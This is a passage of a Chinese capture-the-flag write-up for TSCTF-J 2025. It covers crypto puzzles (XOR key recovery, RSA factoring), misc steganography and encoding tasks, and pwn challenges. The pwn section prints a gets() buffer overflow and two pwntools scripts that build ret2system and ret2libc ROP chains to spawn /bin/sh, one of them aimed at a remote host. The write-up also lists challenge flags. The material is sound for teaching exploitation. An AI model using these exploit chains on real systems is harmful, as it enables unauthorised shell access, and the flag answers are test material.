  5. 还原 flag
    coeffs是 flag 的三进制表示(从低位到高位),将其转换为整数(n_flag = sum(coeffs[i] * 3^i)),再转成字节序列即得到 flag TSCTF-J{We_sh0u1d_kn0w!}
    alt text

    Sign in

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    import base64

    # 已知的十六进制值
    KEY1_hex = "a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313c1819383df93"
    KEY2_xor_KEY1_hex = "b38dc315bb7c75e3c9fa84f123898ff684fd36189e83c422cf0d2804c12b4c83"
    KEY2_xor_KEY3_hex = "11abed33a76d7be822ab718422844e1d40d72a96f02a288aa3b168165922138f"
    FLAG_xor_all_hex = "e1251504cdb300420a0520fc1c15b010d4bfb118c2477b78f3eafbe1acf0f121"

    # 将十六进制字符串转换为整数
    KEY1 = int(KEY1_hex, 16)
    KEY2_xor_KEY1 = int(KEY2_xor_KEY1_hex, 16)
    KEY2_xor_KEY3 = int(KEY2_xor_KEY3_hex, 16)
    FLAG_xor_all = int(FLAG_xor_all_hex, 16)

    # 计算KEY2:KEY2 = (KEY2 ^ KEY1) ^ KEY1
    KEY2 = KEY2_xor_KEY1 ^ KEY1

    # 计算KEY3:KEY3 = (KEY2 ^ KEY3) ^ KEY2
    KEY3 = KEY2_xor_KEY3 ^ KEY2

    # 计算m:m = (FLAG ^ KEY1 ^ KEY2 ^ KEY3) ^ KEY1 ^ KEY2 ^ KEY3
    m = FLAG_xor_all ^ KEY1 ^ KEY2 ^ KEY3

    # 将m转换为十六进制字符串
    m_hex = hex(m)[2:] # [2:] 是为了去掉 '0x' 前缀

    # 确保十六进制字符串的长度是偶数,如果不是则在前面补0
    if len(m_hex) % 2 != 0:
    m_hex = '0' + m_hex

    # 将十六进制字符串转换为bytes
    m_bytes = bytes.fromhex(m_hex)

    # 进行base64解码得到flag
    flag = base64.b64decode(m_bytes).decode('utf-8')

    print(f"flag = {flag}")
    alt textTSCTF-J{I_like_Crypto}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import math
from Crypto.Util.number import long_to_bytes

# 已知参数
e = 0x10001
n = 17051407421191257766878232954687995776275810092183184400406052880776283989210979642731778073370935322411364098277851627904479300390445258684605069414401583042318910193017463817007183769745191345053634189302047446965986220310713141272104307300803560476507359063543147558286276881771260972717080160544078251002420560031692800880310702557545555020333582797788637377901506395695115351043959528307703535156759957098992921231240480724115372547821536358993064005667175508572424424498140029596238691489470392031290179060300593482514446687661068760457021164559923920591924277937814270216802997593891640228684835585559706493543
c = 6853848340403815994585475502319517119889957571722212403728096345969080424626781659085329098693249503884838912886399198433606071464349852827030377680456139046436386063565577131001152891176064224036780277315958771309063181054101040906120879494157473100295607616604515810676954786850526056316144848921849017030095717895244910724234927693999607754055953250981051858498499963202512464388765761597435963200846457903991924487952495202449073962133164877330289865956477568456497103568127103331224273528931042804794039714404647322385366048042459109584024130199496106946124782839099804356052016687352504438568019898976023369460

# 计算p + q的正确值
s = (1 << 1024) + (1 << 1023) # 2^1024 + 2^1023

# 计算k = s^2 - 4n,然后开平方得到p - q
k = s * s - 4 * n
d = int(math.isqrt(k))

# 验证d是否正确
if d * d != k:
raise ValueError("无法计算正确的d值")

# 计算p和q
p = (s + d) // 2
q = (s - d) // 2

# 验证p*q是否等于n
if p * q != n:
raise ValueError("分解n失败")

# 计算欧拉函数
phi = (p - 1) * (q - 1)

# 计算私钥d
d_private = pow(e, -1, phi)

# 解密得到明文
m = pow(c, d_private, n)

# 转换为字节并输出flag
flag = long_to_bytes(m)
print(flag.decode())

alt textTSCTF-J{The_easiest_RSA_key!}

Misc 方向

BadFile

直接按照文件大小排序 最大的几个文件基本都是问题文件

1
3WQlwSaj.txt_dubZ3AZn.txt_nhlbNxGL.txt_qtFyaGkZ.txt_wlBUCOeg.txt_2JuiKL42.wav_4UjLqeRF.wav_Ew24ldS2.wav_HjRtD6f3.wav_RtUwEgj1.wav_8YmxZRca.pdf_Z8P4DHre.pdf_mFU1SdVp.pdf_w9V1ZDEd.pdf_xdBqKtxe.pdf

TSCTF-J{0b4a2a6431f6b94b3c1d3d50d0a45aea}

卢森堡的秘密

隐写术 用zsteg 查看即可

Meow

用Meow 运行 得到如下顺序

1
2
3
4
5
vfndveyTsNSk
mv9bBq==
xZrFq2fu
x01LB3Dnztb3
iseHFq==

将大小写转换
1
VFNDVEYtSnsKMV9BbQ==XzRfQ2FUX01lb3dNZTB3ISEhfQ==

分别base64编码即可
TSCTF-J{1_Am_4_CaT_MeowMe0w!!!}

AI 方向

Coup

这个有点搞 我0提示词直接通过游戏获得flag了

Pwn

ret

源代码 利用 ret 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
vuln();
return 0;
}
__int64 vuln()
{
_BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF

puts("Welcome to TSCTF-J2025!");
puts("Just a simple sign-in!");
return gets(v1);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

# 配置连接
# p = process('./binary') # 本地测试
p = remote('192.168.232.1', 61752) # 远程连接

# 关键地址
offset = 24 # 缓冲区(16) + rbp(8) = 24字节
pop_rdi_ret = 0x400773 # pop rdi; ret gadget
bin_sh_addr = 0x400794 # "/bin/sh"字符串地址
system_plt = 0x400530 # system函数PLT地址

# 构造payload
payload = b'A' * offset # 填充缓冲区和rbp
payload += p64(pop_rdi_ret) # 调用pop rdi; ret gadget
payload += p64(bin_sh_addr) # 将/bin/sh地址放入rdi寄存器
payload += p64(system_plt) # 调用system函数

# 发送payload
p.sendline(payload)

# 获得交互shell
p.interactive()

由此可以获得服务器shell 获得flag
alt text
TSCTF-J{WE1coM3-To_TH3_WOrLD-OF-binAry-vUlnErAblLitY7}

pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

# 初始化程序和libc
e = ELF("./pwn") # 64位目标程序
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # 64位libc库
p = process('./pwn')
# 启动进程
# = remote('192.168.195.1', 54821)

# 获取必要的地址
puts_plt = e.plt['puts']
puts_got = e.got['puts']
start_addr = e.symbols['_start']

# 64位需要ROPgadget来获取控制寄存器的gadget
# 查找pop rdi; ret gadget,用于设置第一个参数
pop_rdi_ret = 0x400713

# 构建第一个payload:泄露puts的真实地址
# 64位中,参数通过寄存器传递,需要使用gadget设置rdi
# 注意:偏移量112可能需要根据实际程序调整
payload1 = b'a' * 24 # 填充到返回地址,64位通常需要更多字节
payload1 += p64(pop_rdi_ret) # 弹出rdi寄存器
payload1 += p64(puts_got) # 将puts的got地址放入rdi(作为puts的参数)
payload1 += p64(puts_plt) # 调用puts函数,输出puts的真实地址
payload1 += p64(start_addr) # 调用_start重新运行程序,以便发送第二个payload

# 发送第一个payload
p.sendlineafter("No backdoors this time!", payload1)

# 接收puts的真实地址(64位地址占8个字节)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

# 打印调试信息
print(f"puts_plt: {hex(puts_plt)}, puts_got: {hex(puts_got)}, start_addr: {hex(start_addr)}")
print(f"puts_real_addr: {hex(puts_real_addr)}")

# 计算libc基地址和system、/bin/sh的地址
libc_base = puts_real_addr - libc.sym['puts']
print(f"libc_base: {hex(libc_base)}")

system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

# 构建第二个payload:获取shell
payload2 = b'a' * 24 # 同样的填充长度
payload2 += p64(0x4004c9)
payload2 += p64(pop_rdi_ret) # 弹出rdi寄存器
payload2 += p64(binsh_addr) # 将/bin/sh地址放入rdi(作为system的参数)
payload2 += p64(system_addr) # 调用system函数

# 发送第二个payload
p.sendlineafter("No backdoors this time!", payload2)

# 交互获取shell
p.interactive()

alt text
这个脚本我本地测试是可以获得shell的 但是远程的时候报错
alt text 最后时间来不及了 没做出来alt text